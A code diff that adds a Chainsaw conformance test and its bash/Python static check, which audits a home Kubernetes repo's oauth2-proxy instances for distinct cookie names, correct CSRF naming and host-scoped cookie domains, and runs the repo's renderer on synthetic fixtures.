+# WHY A COMMIT IS NOT ENOUGH, AND THIS IS A GATE STAGE. The collision is a property of the
+# PATTERN, not of any one app: the next forward-auth service onboarded inherits the defect by
+# doing nothing at all, because a missing flag IS the bug. Nothing about its absence is loud.
+# This is the same shape as the twelve inert ServiceMonitors in this tree — one omission,
+# copied, invisible for weeks — and the same remedy: make the omission fail the merge.
+#
+# GIVEN every oauth2-proxy instance this repo authors — a container in any manifest (the
+#       rendered sidecars in apps/, crafty's hand-authored one in platform/) and the shared
+#       proxy's HelmRelease values,
+# WHEN  each instance's EFFECTIVE cookie name is resolved (its declared `--cookie-name` /
+#       `OAUTH2_PROXY_COOKIE_NAME`, or oauth2-proxy's built-in default `_oauth2_proxy` when it
+#       declares none — an omission is a NAME, not an absence, and that is the whole bug),
+# THEN  (1) no two instances share an effective cookie name;
+#       (2) no instance's effective name is another's name + `_csrf` — oauth2-proxy derives the
+#           CSRF cookie that way, so `_oauth2_proxy` and `_oauth2_proxy_csrf` as two SESSION
+#           names would collide on the second cookie while looking distinct on the first;
+#       (3) the DEFAULT name has exactly ONE owner and it is the instance declared in
+#           SHARED_DEFAULT_COOKIE_OWNER. This is the deliberate ASYMMETRY. The shared
+#           forward-auth proxy MUST keep `_oauth2_proxy`: it is the single session every
+#           OTHER forward-auth-gated surface on the platform rides on, so renaming it signs
+#           every one of them out at once. The rule is therefore NOT "every instance must
+#           declare a name" — it is "the default is a NAME LIKE ANY OTHER, held by exactly one
+#           REGISTERED owner". That formulation needs no exemption from (1), and it closes the
+#           hole an exemption would leave: if the shared proxy is ever removed, an app silently
+#           inheriting the default would still FAIL here instead of quietly becoming its heir;
+#       (4) every instance that is NOT that owner is HOST-SCOPED: its `--cookie-domain` equals
+#           the host of its own `--redirect-url`. See the argument below;
+#       (5) catalog/render.py DERIVES both flags from the ServiceDefinition (the service name
+#           and the route host) and does not carry a per-service table. A list is how twelve
+#           ServiceMonitors acquired one identical wrong port name in a single edit, and a list
+#           leaves the NEXT app defaulting into the collision;
+#       (6) the SHIPPED renderer is proven END-TO-END on synthetic ServiceDefinitions, run as a
+#           subprocess: two forward-auth fixtures must yield two different, non-default cookie
+#           names, each scoped to its own host. Without this, once the tree is compliant (1)-(4)
+#           are satisfied by a tree with nothing left to catch, and a guard whose only evidence
+#           is "nothing failed" cannot be told apart from one that stopped working;
+#   AND (7) the check is LOAD-BEARING: this Test DECLARES `conformance.home.k3s/scope:
+#           whole-repo`, so ci/l0.sh Stage 3b's `--include-scope whole-repo` unions it into
+#           EVERY gate run, and ci/gate.sh blocks the merge when the l0 stage fails. It
+#           deliberately adds NO stage to ci/l0.sh — tests/l0-static/whole-repo-invariants-wired
+#           fails the gate if anyone adds one.
+#
+# WHY SCOPE, NOT REQUIREMENTS: ci/touched-requirements.sh maps `apps/*` to R-IDP-02/R-IDP-06
+# today, but the instances live in THREE unrelated subtrees (apps/, platform/crafty/,
+# platform/oauth2-proxy/) and the file most likely to reintroduce the defect is
+# catalog/render.py, which maps to R-GITOPS-02 and to no identity requirement at all. A
+# requirement-scoped selection would filter this check out of exactly the change that breaks it.
+#
+# ON ASSERTION (4), HOST-SCOPED COOKIE-DOMAIN — the argument, and the decision.
+#   AGAINST asserting it (overreach): distinct NAMES already close the eviction bug completely.
+#   Two cookies with different names do not overwrite each other however wide their domains are,
+#   so (4) fixes nothing that (1) has not already fixed. `--cookie-domain` is also a legitimate
+#   knob — a future proxy fronting two hostnames of one app would need a wider value — and a
+#   check that fails correct configurations is a check someone eventually disables.
+#   FOR asserting it (and this wins): a zone-wide cookie is TRANSMITTED BY THE BROWSER TO EVERY
+#   HOST IN THE ZONE. qBittorrent's session token is therefore sent to pihole, to radarr, to
+#   sonarr, and to every other name under `.${BASE_DOMAIN}` — including hosts behind no proxy at
+#   all. That is a session-credential disclosure across trust boundaries that no one needs and
+#   nobody asked for; the sidecar's session is only ever meaningful to the one app it fronts.
+#   And it is what makes a FUTURE name collision catastrophic rather than contained: with
+#   host-scoped cookies, two instances that accidentally share a name cannot even see each
+#   other's cookie, so the failure this whole test exists to prevent degrades from platform-wide
+#   to nothing. Defence in depth on the exact axis that already failed once.
+#   DECISION: assert it, for every instance except the registered shared proxy — whose whole
+#   job IS cross-host forward-auth, and which is exempted by name and with a reason, not by
+#   loosening the rule. `--whitelist-domain` is deliberately NOT touched: it governs permitted
+#   post-login REDIRECT targets, not cookie scope, and narrowing it breaks the sign-in bounce.
+#
+# STATUS: EXECUTABLE. `check.sh` is an offline assertion script (PyYAML, as catalog/render.py
+# and the sibling l0-static checks use); conformance/run.sh --layer l0 and ci/l0.sh run it
+# directly, and this Chainsaw Test wraps the SAME script.
+#
+# NOT proven (honest gaps; this is STATIC, with no cluster and no browser):
+#   - That anyone can actually sign in. No browser round-trip is performed, and none can be
+#     from L0. The 2026-09-29 crafty entry recorded the same gap and it is still open: the
+#     symptom has never been REPRODUCED in a browser, so this is a latent-bug fix reasoned from
+#     measured configuration, not a fix watched to work.
+#   - That the LIVE pods carry what the tree says. git is not the cluster (CLAUDE.md §2b). The
+#     live flags were measured separately, once, by hand; nothing here re-measures them, and a
+#     hand-applied drift would not be visible to this check.
+#   - That the cookie-secrets really differ. That is a Secret comparison and belongs in-cluster;
+#     it was measured out of band (seven distinct values, compared without printing any of
+#     them). If they were ever made IDENTICAL the collision would become harmless — but sharing
+#     one session-encryption key across trust zones is a worse idea than the bug it would mask,
+#     so this check does not offer it as an alternative and does not look for it.
+#   - Anything about the CONTENT of a session, group authorization, or the CSRF cookie's own
+#     behaviour. Names and domains only.
+#   - It does not read ../home-network-k3s. The spec is read-only (R-TEST-06).
+# =============================================================================
+apiVersion: chainsaw.kyverno.io/v1alpha1
+kind: Test
+metadata:
+  name: oauth2-proxy-cookie-names-distinct
+  labels:
+    conformance.home.k3s/R-IDP-02: "true"
+    conformance.home.k3s/R-IDP-06: "true"
+  annotations:
+    conformance.home.k3s/requirements: "R-IDP-02, R-IDP-06"
+    conformance.home.k3s/layer: "L0"
+    # WHOLE-REPO SCOPE — the instances span apps/wave-0, apps/wave-1, platform/crafty and
+    # platform/oauth2-proxy, and the generator that emits five of them is catalog/render.py.
+    # No single requirement path-maps to that set, and the renderer maps to no identity
+    # requirement at all, so a requirement-scoped selection would skip this check on precisely
+    # the change that can reintroduce the defect fleet-wide in one edit.
+    conformance.home.k3s/scope: "whole-repo"
+    conformance.home.k3s/safety-critical: "false"
+    conformance.home.k3s/executable: "true"
+    conformance.home.k3s/intent: >-
+      No two oauth2-proxy instances can share a browser cookie: every instance's effective
+      cookie name is unique, the built-in default belongs to exactly one registered owner (the
+      shared forward-auth proxy, which cannot be renamed without signing every gated app out),
+      every other instance is host-scoped, and catalog/render.py derives both flags from the
+      ServiceDefinition rather than from a per-service list — proven end-to-end on synthetic
+      fixtures so the guard stays falsifiable once the tree is clean.
+spec:
+  steps:
+    - name: assert-no-two-oauth2-proxy-instances-share-a-cookie
+      description: >-
+        Inventory every oauth2-proxy container and HelmRelease in the tree, resolve each one's
+        effective cookie name (declared, or oauth2-proxy's default when omitted), assert
+        pairwise distinctness including the session/CSRF derivation, ratchet the single
+        registered owner of the default name, assert host-scoped cookie-domain on every other
+        instance, assert catalog/render.py derives rather than lists, and prove the shipped
+        renderer on two synthetic forward-auth ServiceDefinitions.
+      try:
+        - script:
+            content: bash ./check.sh

conformance/tests/l0-static/oauth2-proxy-cookie-names-distinct/check.sh

@@ -0,0 +1,498 @@
+#!/usr/bin/env bash
+# =============================================================================
+# L0 STATIC CHECK — no two oauth2-proxy instances can share a browser cookie.
+# See chainsaw-test.yaml's header for WHY this exists, what it measured, and the argument
+# for assertion (4). In one paragraph:
+#
+# Every oauth2-proxy here holds its OWN cookie-secret (seven distinct values on prod,
+# 2026-09-30), so two instances sharing a cookie NAME on a shared DOMAIN cannot read each
+# other's session — they OVERWRITE it. The loser bounces to Keycloak, is redirected straight
+# back by the live SSO session, and overwrites the winner in turn. The symptom is "I signed
+# into Keycloak but I'm still not signed in", it only shows up after a second gated app is
+# visited, and nothing in the cluster reports an error. A missing --cookie-name IS the bug,
+# so the next forward-auth app inherits it by doing nothing.
+#
+# Exit 0 = all assertions pass. Exit 1 = a failure. Exit 3 (honest SKIP, which the runner
+# turns into rc 3 = UNWIRED, never green, because this test declares the whole-repo scope)
+# only if the tree contains no oauth2-proxy instance at all — genuinely nothing to audit.
+# =============================================================================
+set -euo pipefail
+DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+ROOT="$(cd "${DIR}/../../../.." && pwd)"        # repo root
+PYTHON="${PYTHON:-python3}"
+
+# Honest SKIP (never green for a scope-declaring test) if there is nothing to audit at all.
+# Matches the IMAGE every instance runs and the CHART the shared one installs; if NEITHER
+# appears anywhere, the forward-auth pattern has left this repo and the check has no subject.
+#
+# ANCHORED ON `image:` DELIBERATELY. A bare `oauth2-proxy/oauth2-proxy:` also matches
+# platform/oauth2-proxy/forward-auth-cec.yaml's Envoy cluster reference
+# (`serviceName: oauth2-proxy/oauth2-proxy:80` — namespace/service:port, not a registry path).
+# That file configures the ext_authz listener that CALLS the proxy; it runs no proxy and holds
+# no cookie flags, so counting it made the grep/parse cross-check below report a phantom
+# unaudited instance.
+if ! grep -rlE 'image:[[:space:]]*[^[:space:]]*oauth2-proxy|chart:[[:space:]]*oauth2-proxy' \
+       "${ROOT}/apps" "${ROOT}/platform" "${ROOT}/catalog" >/dev/null 2>&1; then
+  echo "check SKIPPED: no oauth2-proxy image or chart found under apps/, platform/ or catalog/ — nothing to audit" >&2
+  exit 3
+fi
+
+cd "${ROOT}"
+"${PYTHON}" - "${ROOT}" <<'PY'
+"""Static audit: no two oauth2-proxy instances can share a browser cookie.
+
+PyYAML (the same dependency as catalog/render.py and the sibling l0-static checks) rather
+than line-based parsing: a container's args live in a nested structure and a HelmRelease's
+flags live in a values map, and a line-based reader of either is precisely the approximate
+parser that silently stops matching — the failure class this check exists to prevent.
+"""
+from __future__ import annotations
+
+import re
+import subprocess
+import sys
+import tempfile
+from pathlib import Path
+
+try:
+    import yaml
+except ImportError:                                  # pragma: no cover
+    print("check FAIL: PyYAML is required (same dependency as catalog/render.py)",
+          file=sys.stderr)
+    raise SystemExit(1)
+
+ROOT = Path(sys.argv[1])
+sys.dont_write_bytecode = True          # keep __pycache__ out of the tracked tree
+
+FAILURES: list[str] = []
+CHECKS = 0
+
+
+def check(cond, msg):
+    global CHECKS
+    CHECKS += 1
+    if not cond:
+        FAILURES.append(msg)
+
+
+def read(p: Path) -> str:
+    try:
+        return p.read_text()
+    except (OSError, UnicodeDecodeError):
+        return ""
+
+
+# oauth2-proxy's OWN built-in defaults (pkg/apis/options/cookie.go): the session cookie is
+# `_oauth2_proxy` and the CSRF cookie is that name with `_csrf` appended. An instance that
+# declares nothing is NOT unconfigured — it has claimed this exact name, which is why the
+# inventory below treats the default as a name like any other rather than as an absence.
+DEFAULT_COOKIE_NAME = "_oauth2_proxy"
+CSRF_SUFFIX = "_csrf"
+
+# =============================================================================================
+# REGISTER — SHARED_DEFAULT_COOKIE_OWNER. Exactly one entry, and it must match a real instance.
+#
+# The one instance permitted to hold DEFAULT_COOKIE_NAME, and the one permitted a zone-wide
+# cookie-domain. Both exemptions belong to the SAME object for the SAME reason, so they are one
+# register rather than two: the shared forward-auth proxy is not a per-app sidecar, it is the
+# single session that every forward-auth-gated surface on the platform rides on. Renaming its
+# cookie signs all of them out simultaneously, and host-scoping it would break the cross-host
+# forward-auth that is its entire job.
+#
+# Shrink-only, and exact in BOTH directions: an entry that matches no instance FAILS as stale
+# (the proxy was renamed or removed and the exemption is now a hole), and an instance holding
+# the default WITHOUT an entry FAILS as an unregistered heir. Adding an entry is a review event
+# on a sensitive path.
+#
+# Keyed by "<relpath>:<instance id>".
+# =============================================================================================
+SHARED_DEFAULT_COOKIE_OWNER: dict[str, str] = {
+    "platform/oauth2-proxy/helmrelease.yaml:oauth2-proxy":
+        "The SHARED forward-auth proxy (ADR-0014, platform/oauth2-proxy/README.md). It is the "
+        "single authenticator behind every forward-auth-gated surface that is NOT fronted by "
+        "its own sidecar, so its cookie is the platform session: renaming it signs every one "
+        "of them out at once, and that is why the 2026-09-29 crafty fix changed only the "
+        "sidecar side. Its cookie-domain is zone-wide for the same structural reason — "
+        "cross-host forward-auth is what it is for.",
+}
+
+
+def is_test_fixture(p: Path) -> bool:
+    """conformance/tests/**/{golden,fixtures}/** is assertion DATA, not deployed manifests.
+
+    Auditing a golden would be auditing a copy of something already audited through apps/.
+    Same exclusion the sibling l0-static checks make, and the same "reference, not
+    declaration" distinction ci/touched-requirements.sh draws for fixture paths.
+    """
+    parts = p.parts
+    return "conformance" in parts and ("golden" in parts or "fixtures" in parts)
+
+
+def iter_containers(node):
+    """Yield every container mapping under any `containers`/`initContainers` list, at any depth.
+
+    Depth-agnostic on purpose: a sidecar sits under spec.template.spec.containers in a
+    Deployment, but the same container shape appears under a CronJob's jobTemplate, a
+    DaemonSet, or a Pod, and a reader that hardcoded one path would silently stop seeing an
+    instance the day one moved.
+    """
+    if isinstance(node, dict):
+        for key, val in node.items():
+            if key in ("containers", "initContainers") and isinstance(val, list):
+                for c in val:
+                    if isinstance(c, dict):
+                        yield c
+            else:
+                yield from iter_containers(val)
+    elif isinstance(node, list):
+        for item in node:
+            yield from iter_containers(item)
+
+
+def flag_from_args(args: list, flag: str):
+    """Value of `--flag=value` or `--flag value` in an argv list, else None."""
+    pref = "--" + flag
+    for i, a in enumerate(args):
+        if not isinstance(a, str):
+            continue
+        if a.startswith(pref + "="):
+            return a.split("=", 1)[1]
+        if a == pref and i + 1 < len(args) and isinstance(args[i + 1], str):
+            return args[i + 1]
+    return None
+
+
+def host_of(url):
+    """Host part of an https://host/path URL, else None."""
+    if not isinstance(url, str):
+        return None
+    m = re.match(r"^https?://([^/]+)", url)
+    return m.group(1) if m else None
+
+
+# ============================================================ (0) INVENTORY
+# instances: list of dicts {rel, ident, kind, declared_name, cookie_domain, redirect_host}
+instances: list[dict] = []
+unparseable: list[str] = []
+# Files the grep gate says contain an instance, so the parse can be cross-checked against it.
+grep_files: set[str] = set()
+
+for p in sorted(ROOT.rglob("*.yaml")):
+    relparts = p.relative_to(ROOT).parent.parts
+    # NESTED WORKTREES: skip dot-DIRECTORIES (.git, .claude) while still matching dot-FILES
+    # such as .sops.yaml. .claude/worktrees/agent-*/ holds full repo copies for isolated agent
+    # runs, so a bare rglob audited up to 18 duplicates of every file — which both invents
+    # FAILs and, worse, can satisfy a "something declares X" check from a copy rather than from
+    # real source. Same fix as egress-paths-selected-by-rules. .claude/ is gitignored.
+    if any(part.startswith(".") for part in relparts) or is_test_fixture(p) or ".sops." in p.name:
+        continue
+    txt = read(p)
+    if not txt:
+        continue
+    rel = str(p.relative_to(ROOT))
+    # Same anchoring as check.sh's skip gate: `image:` (or a chart name), never a bare path —
+    # see the comment there for the Envoy `serviceName: oauth2-proxy/oauth2-proxy:80` near-miss.
+    if re.search(r"image:\s*\S*oauth2-proxy|chart:\s*oauth2-proxy", txt):
+        grep_files.add(rel)
+    elif "oauth2-proxy" not in txt:
+        continue
+    try:
+        docs = [d for d in yaml.safe_load_all(txt) if isinstance(d, dict)]
+    except yaml.YAMLError as exc:
+        unparseable.append(f"{rel} ({exc})")
+        continue
+    for d in docs:
+        # --- shape 1: a container running the oauth2-proxy image -------------------------
+        for c in iter_containers(d):
+            image = str(c.get("image") or "")
+            name = str(c.get("name") or "")
+            if "oauth2-proxy" not in image and name != "oauth2-proxy":
+                continue
+            args = [a for a in (list(c.get("args") or []) + list(c.get("command") or []))]
+            env = {e.get("name"): e.get("value")
+                   for e in (c.get("env") or []) if isinstance(e, dict) and "value" in e}
+            owner = (d.get("metadata") or {}).get("name") or "?"
+            instances.append({
+                "rel": rel,
+                "ident": f"{owner}/{name or 'oauth2-proxy'}",
+                "kind": "container",
+                "declared_name": flag_from_args(args, "cookie-name")
+                                 or env.get("OAUTH2_PROXY_COOKIE_NAME"),
+                "cookie_domain": flag_from_args(args, "cookie-domain")
+                                 or env.get("OAUTH2_PROXY_COOKIE_DOMAIN"),
+                "redirect_host": host_of(flag_from_args(args, "redirect-url")
+                                         or env.get("OAUTH2_PROXY_REDIRECT_URL")),
+            })
+        # --- shape 2: the shared proxy's HelmRelease values ------------------------------
+        if d.get("kind") != "HelmRelease":
+            continue
+        spec = d.get("spec") or {}
+        chart = (((spec.get("chart") or {}).get("spec") or {}).get("chart") or "")
+        if "oauth2-proxy" not in str(chart):
+            continue
+        values = spec.get("values") or {}
+        extra = values.get("extraArgs") or {}
+        if isinstance(extra, list):          # the chart also accepts a bare argv list
+            extra = {a.lstrip("-").split("=", 1)[0]: a.split("=", 1)[1]
+                     for a in extra if isinstance(a, str) and "=" in a}
+        cfg = values.get("config") or {}
+        get = lambda k: extra.get(k, cfg.get(k))     # noqa: E731 - two-source lookup, used 3x
+        instances.append({
+            "rel": rel,
+            "ident": str((d.get("metadata") or {}).get("name") or "oauth2-proxy"),
+            "kind": "helmrelease",
+            "declared_name": get("cookie-name"),
+            "cookie_domain": get("cookie-domain"),
+            "redirect_host": host_of(get("redirect-url")),
+        })
+
+for u in unparseable:
+    check(False, f"{u} is not parseable YAML — every oauth2-proxy instance in it went unaudited")
+
+for ins in instances:
+    ins["key"] = f"{ins['rel']}:{ins['ident']}"
+    # THE CORE MODELLING DECISION: an omitted --cookie-name is not "unset", it is a CLAIM on
+    # oauth2-proxy's built-in default. Resolving it here is what lets assertion (1) below be a
+    # plain distinctness test with no special case, and it is exactly the step whose absence
+    # made the defect invisible to every reviewer who read these manifests.
+    ins["effective_name"] = ins["declared_name"] or DEFAULT_COOKIE_NAME
+
+# Anti-vacuous. The floor is deliberately low (a real removal should not turn this check red),
+# so the load-bearing guard is the grep/parse CROSS-CHECK beneath it: every file the cheap
+# text scan says holds an instance must yield at least one PARSED instance. A parser that
+# quietly stopped matching would keep the floor and fail this.
+check(len(instances) >= 5,
+      f"only {len(instances)} oauth2-proxy instance(s) parsed out of the tree. This repo "
+      f"authors more than that (five rendered sidecars, crafty's, and the shared proxy), so "
+      f"the inventory has stopped seeing instances and every assertion below would pass "
+      f"vacuously while a collision went unaudited")
+
+parsed_files = {ins["rel"] for ins in instances}
+for rel in sorted(grep_files - parsed_files):
+    check(False,
+          f"{rel} contains an oauth2-proxy image or chart reference but NO instance was parsed "
+          f"out of it. Either it uses a shape iter_containers()/the HelmRelease reader does not "
+          f"recognise, or the file stopped parsing. Its cookie configuration is UNAUDITED, which "
+          f"is the same state the whole fleet was in before this check existed")
+
+# ============================================================ (1) DISTINCT EFFECTIVE NAMES
+by_name: dict[str, list[dict]] = {}
+for ins in instances:
+    by_name.setdefault(ins["effective_name"], []).append(ins)
+
+for nm, group in sorted(by_name.items()):
+    if len(group) < 2:
+        continue
+    who = ", ".join(sorted(g["key"] for g in group))
+    default_note = (
+        " Every one of them OMITS --cookie-name, so they are all claiming oauth2-proxy's "
+        "built-in default. Omitting the flag is not neutral: it IS this collision."
+        if nm == DEFAULT_COOKIE_NAME else "")
+    check(False,
+          f"{len(group)} oauth2-proxy instances share the cookie name '{nm}': {who}.{default_note}\n"
+          f"       WHY THIS IS A BUG AND NOT A STYLE RULE: these are INDEPENDENT instances with "
+          f"DIFFERENT cookie-secrets (measured on prod 2026-09-30: seven distinct values), so "
+          f"neither can DECRYPT the other's cookie — it can only OVERWRITE it. A browser keys a "
+          f"cookie by (name, domain, path), so signing into one app destroys the session of every "
+          f"other app sharing that key. The loser logs 'No valid authentication in request', "
+          f"bounces to Keycloak, is redirected straight back because the SSO session is still "
+          f"live, and overwrites the winner in turn. The user sees 'I signed into Keycloak but "
+          f"I'm still not signed in' and goes looking in Keycloak, where nothing is wrong.\n"
+          f"       FIX: give each per-app instance its own --cookie-name. For a service rendered "
+          f"from catalog/, do NOT hand-edit the golden — catalog/render.py derives the flag from "
+          f"the service name; re-render instead (ci/render-golden.sh's header has the canonical "
+          f"command). Exactly one instance may hold '{DEFAULT_COOKIE_NAME}', and it must be the "
+          f"one registered in SHARED_DEFAULT_COOKIE_OWNER.")
+
+# ============================================================ (2) SESSION vs CSRF DERIVATION
+# oauth2-proxy names the CSRF cookie <cookie-name>_csrf. So a SESSION name that happens to equal
+# another instance's name + "_csrf" collides on the CSRF cookie while assertion (1) sees two
+# perfectly distinct strings. This is the near-miss the obvious fix invites: naming the shared
+# proxy's neighbour `_oauth2_proxy_csrf` reads as "clearly different" and is not.
+effective = {ins["effective_name"] for ins in instances}
+for ins in sorted(instances, key=lambda i: i["key"]):
+    base = ins["effective_name"]
+    if not base.endswith(CSRF_SUFFIX):
+        continue
+    victim = base[: -len(CSRF_SUFFIX)]
+    check(victim not in effective,
+          f"{ins['key']} uses the SESSION cookie name '{base}', which is exactly the CSRF cookie "
+          f"oauth2-proxy derives for the instance named '{victim}' (it appends '{CSRF_SUFFIX}'). "
+          f"The two session names look distinct and the CSRF cookies collide, so sign-in breaks "
+          f"with a state-mismatch instead of a session loss — the same bug wearing a different "
+          f"error message. Pick a name that is not another instance's name + '{CSRF_SUFFIX}'")
+
+# ============================================================ (3) THE DEFAULT HAS ONE OWNER
+default_holders = sorted(ins["key"] for ins in instances
+                         if ins["effective_name"] == DEFAULT_COOKIE_NAME)
+registered = set(SHARED_DEFAULT_COOKIE_OWNER)
+
+for key in sorted(registered - set(ins["key"] for ins in instances)):
+    check(False,
+          f"SHARED_DEFAULT_COOKIE_OWNER registers '{key}', but no such oauth2-proxy instance "
+          f"exists in the tree. The register is SHRINK-ONLY and exact: a stale entry is a "
+          f"standing exemption for an object that is gone, so the next instance to inherit the "
+          f"default name would be silently excused. Remove the entry, or restore the instance")
+
+for key in default_holders:
+    check(key in registered,
+          f"{key} holds oauth2-proxy's DEFAULT cookie name '{DEFAULT_COOKIE_NAME}' but is NOT "
+          f"registered in SHARED_DEFAULT_COOKIE_OWNER. Exactly ONE instance may hold the default, "
+          f"and it is the SHARED forward-auth proxy — whose cookie is the platform-wide session "
+          f"every forward-auth-gated surface rides on, so renaming IT signs them all out at once. "
+          f"Every other instance must declare its own --cookie-name. If this instance really is "
+          f"the new shared proxy, register it here with the reason; if it is a per-app sidecar, "
+          f"give it a unique name")
+
+check(len(default_holders) <= 1,
+      f"{len(default_holders)} instances hold the default cookie name: {', '.join(default_holders)}. "
+      f"The default is a NAME, not an absence — it can have exactly one owner")
+
+# ============================================================ (4) HOST-SCOPED COOKIE DOMAIN
+# See the chainsaw-test header for the argument (distinct names alone already fix the eviction;
+# host-scoping is asserted anyway because a zone-wide cookie is TRANSMITTED to every host in the
+# zone, and because it makes a future name collision contained instead of platform-wide).
+for ins in sorted(instances, key=lambda i: i["key"]):
+    if ins["key"] in registered:
+        continue                          # the shared proxy: zone-wide by design, registered
+    dom, rhost = ins["cookie_domain"], ins["redirect_host"]
+    check(dom is not None,
+          f"{ins['key']} declares no --cookie-domain. oauth2-proxy then scopes the cookie to the "
+          f"request host, which happens to be correct — but it is correct BY ACCIDENT and says "
+          f"nothing to the next reader. Declare it explicitly as this app's own host")
+    if dom is None:
+        continue
+    check(not dom.startswith("."),
+          f"{ins['key']} sets --cookie-domain={dom}. A leading dot makes the cookie ZONE-WIDE: "
+          f"the browser sends this app's session token to every other host under that domain, "
+          f"including hosts behind no proxy at all, and it is what turns any future cookie-name "
+          f"collision into a platform-wide outage instead of a contained one. Scope it to this "
+          f"app's own host. Only the registered shared forward-auth proxy may be zone-wide, "
+          f"because cross-host forward-auth is its job")
+    if rhost:
+        check(dom == rhost,
+              f"{ins['key']} sets --cookie-domain={dom} but its --redirect-url host is {rhost}. "
+              f"The cookie is then set for a domain the sign-in flow never returns to (or for a "
+              f"wider one than this app owns), so the session either does not stick or leaks "
+              f"beyond the app. Both flags describe the SAME app: make them agree")
+
+# ============================================================ (5) THE RENDERER DERIVES
+# Five of these instances are GENERATED. Auditing only the goldens would let someone "fix" the
+# tree by hand and leave the generator emitting the defect for the next service onboarded — and
+# the next re-render would then silently revert the hand fix.
+render_py = ROOT / "catalog" / "render.py"
+check(render_py.is_file(),
+      "catalog/render.py is missing — the generator of five of these instances cannot be audited")
+if render_py.is_file():
+    src = read(render_py)
+    m = re.search(r"def _oauth2_sidecar_container\(.*?\n(?=\n*def |\n*# =)", src, re.S)
+    fn = m.group(0) if m else ""
+    check(bool(fn),
+          "could not locate _oauth2_sidecar_container() in catalog/render.py. It was renamed or "
+          "removed; assertions (5) below cannot run, and the generator is unaudited")
+    if fn:
+        cookie_name_lines = [ln for ln in fn.splitlines() if "--cookie-name" in ln]
+        check(bool(cookie_name_lines),
+              "catalog/render.py's _oauth2_sidecar_container() emits NO --cookie-name at all, so "
+              "every service it renders claims oauth2-proxy's default and collides with every "
+              "other. This is the defect itself, back in the one place that reintroduces it "
+              "fleet-wide in a single edit")
+        check(any("s['name']" in ln or 's["name"]' in ln for ln in cookie_name_lines),
+              "catalog/render.py emits --cookie-name without DERIVING it from the "
+              "ServiceDefinition's own name. A constant collides with every sibling by "
+              "construction; a per-service table leaves the NEXT app onboarded defaulting into "
+              "the collision, which is how twelve ServiceMonitors acquired one identical wrong "
+              "port name in a single edit. Derive it from s['name']")
+        cookie_dom_lines = [ln for ln in fn.splitlines() if "--cookie-domain" in ln]
+        check(any("{host}" in ln for ln in cookie_dom_lines),
+              "catalog/render.py's sidecar --cookie-domain is not derived from the route host. A "
+              "zone-wide literal (`.{ZONE}`) broadcasts every app's session cookie across the "
+              "whole zone — see assertion (4)")
+        check(not any(re.search(r"--cookie-name=_oauth2_proxy_[a-z0-9]", ln) for ln in cookie_name_lines),
+              "catalog/render.py hardcodes a literal service name into --cookie-name. Whatever "
+              "service that is, every OTHER service now renders the same constant and they all "
+              "collide. Derive the name instead")
+
+# ============================================================ (6) PROVE THE SHIPPED RENDERER
+# Once the tree is compliant, (1)-(4) have nothing left to catch and their passing is evidence
+# of nothing. This runs the SHIPPED renderer as a SUBPROCESS on two synthetic ServiceDefinitions
+# and asserts the property directly, so the guard stays falsifiable.
+def _sd(name: str, port: int) -> str:
+    return yaml.safe_dump({
+        "name": name,
+        "kind": "container",
+        "source": {"image": "example/app:1"},
+        "exposure": "internal",
+        "ingressRoutes": [{"host": f"{name}.home.keithjackson.dev", "port": port}],
+        "auth": {"mode": "forward-auth", "groups": ["platform-admins"]},
+    }, sort_keys=False)
+
+
+def _sidecar_args(rendered: str) -> list:
+    for doc in yaml.safe_load_all(rendered):
+        if not isinstance(doc, dict) or doc.get("kind") != "Deployment":
+            continue
+        for c in iter_containers(doc):
+            if c.get("name") == "oauth2-proxy":
+                return list(c.get("args") or [])
+    return []
+
+
+if render_py.is_file():
+    fixtures = {"cookiefixa": 8111, "cookiefixb": 8112}
+    rendered_args: dict[str, list] = {}
+    with tempfile.TemporaryDirectory() as td:
+        for svc, port in fixtures.items():
+            f = Path(td) / f"{svc}.yaml"
+            f.write_text(_sd(svc, port))
+            proc = subprocess.run([sys.executable, str(render_py), str(f)],
+                                  capture_output=True, text=True)
+            check(proc.returncode == 0,
+                  f"the shipped catalog/render.py failed on a synthetic forward-auth fixture "
+                  f"({svc}): rc={proc.returncode} {proc.stderr.strip()[:200]}")
+            if proc.returncode == 0:
+                rendered_args[svc] = _sidecar_args(proc.stdout)
+
+    names, domains = {}, {}
+    for svc, args in rendered_args.items():
+        names[svc] = flag_from_args(args, "cookie-name")
+        domains[svc] = flag_from_args(args, "cookie-domain")
+        check(bool(args),
+              f"the shipped renderer produced no oauth2-proxy sidecar for synthetic forward-auth "
+              f"fixture {svc} — the sidecar is how a forward-auth app is gated at all (R-IDP-02)")
+        check(names[svc] not in (None, DEFAULT_COOKIE_NAME),
+              f"the shipped renderer gave synthetic fixture {svc} the cookie name "
+              f"{names[svc]!r}. A newly-onboarded forward-auth app would therefore default "
+              f"straight into the fleet collision — which is exactly how five services acquired "
+              f"this defect without anyone making a decision")
+        check(domains[svc] == f"{svc}.home.keithjackson.dev",
+              f"the shipped renderer scoped synthetic fixture {svc}'s cookie to "
+              f"{domains[svc]!r} rather than to its own host — a newly-onboarded app would "
+              f"broadcast its session cookie across the whole zone")
+        check(any(isinstance(a, str) and a.startswith("--whitelist-domain=.") for a in args),
+              f"synthetic fixture {svc} lost its ZONE-WIDE --whitelist-domain. That flag governs "
+              f"permitted post-login REDIRECT targets, not cookie scope; narrowing it with the "
+              f"cookie domain breaks the sign-in bounce")
+
+    if len(rendered_args) == 2:
+        a, b = sorted(rendered_args)
+        check(names[a] != names[b],
+              f"the shipped renderer gave two DIFFERENT synthetic services the SAME cookie name "
+              f"({names[a]!r}). Whatever the committed goldens currently look like, the generator "
+              f"will collide every forward-auth app it renders from now on")
+        check(domains[a] != domains[b],
+              f"the shipped renderer gave two different synthetic services the same cookie domain "
+              f"({domains[a]!r}) — the cookies would share a scope even with distinct names")
+
+# ============================================================ VERDICT
+inv = " | ".join(f"{i['key']} -> {i['effective_name']} @ {i['cookie_domain'] or '<host>'}"
+                 for i in sorted(instances, key=lambda x: x["key"]))
+print(f"oauth2-proxy instances audited ({len(instances)}): {inv}")
+if FAILURES:
+    print(f"\nCHECK FAIL (oauth2-proxy-cookie-names-distinct): {len(FAILURES)} failed, "
+          f"{CHECKS - len(FAILURES)} passed", file=sys.stderr)
+    for f in FAILURES:
+        print(f"  FAIL {f}", file=sys.stderr)
+    raise SystemExit(1)
+print(f"check OK: oauth2-proxy-cookie-names-distinct — {CHECKS} assertions (R-IDP-02, R-IDP-06)")
+PY

conformance/tests/l0-static/servicemonitor-ports-resolve/check.sh

@@ -129,6 +129,22 @@ KNOWN_EXTERNAL_MONITORS: dict[str, str] = {
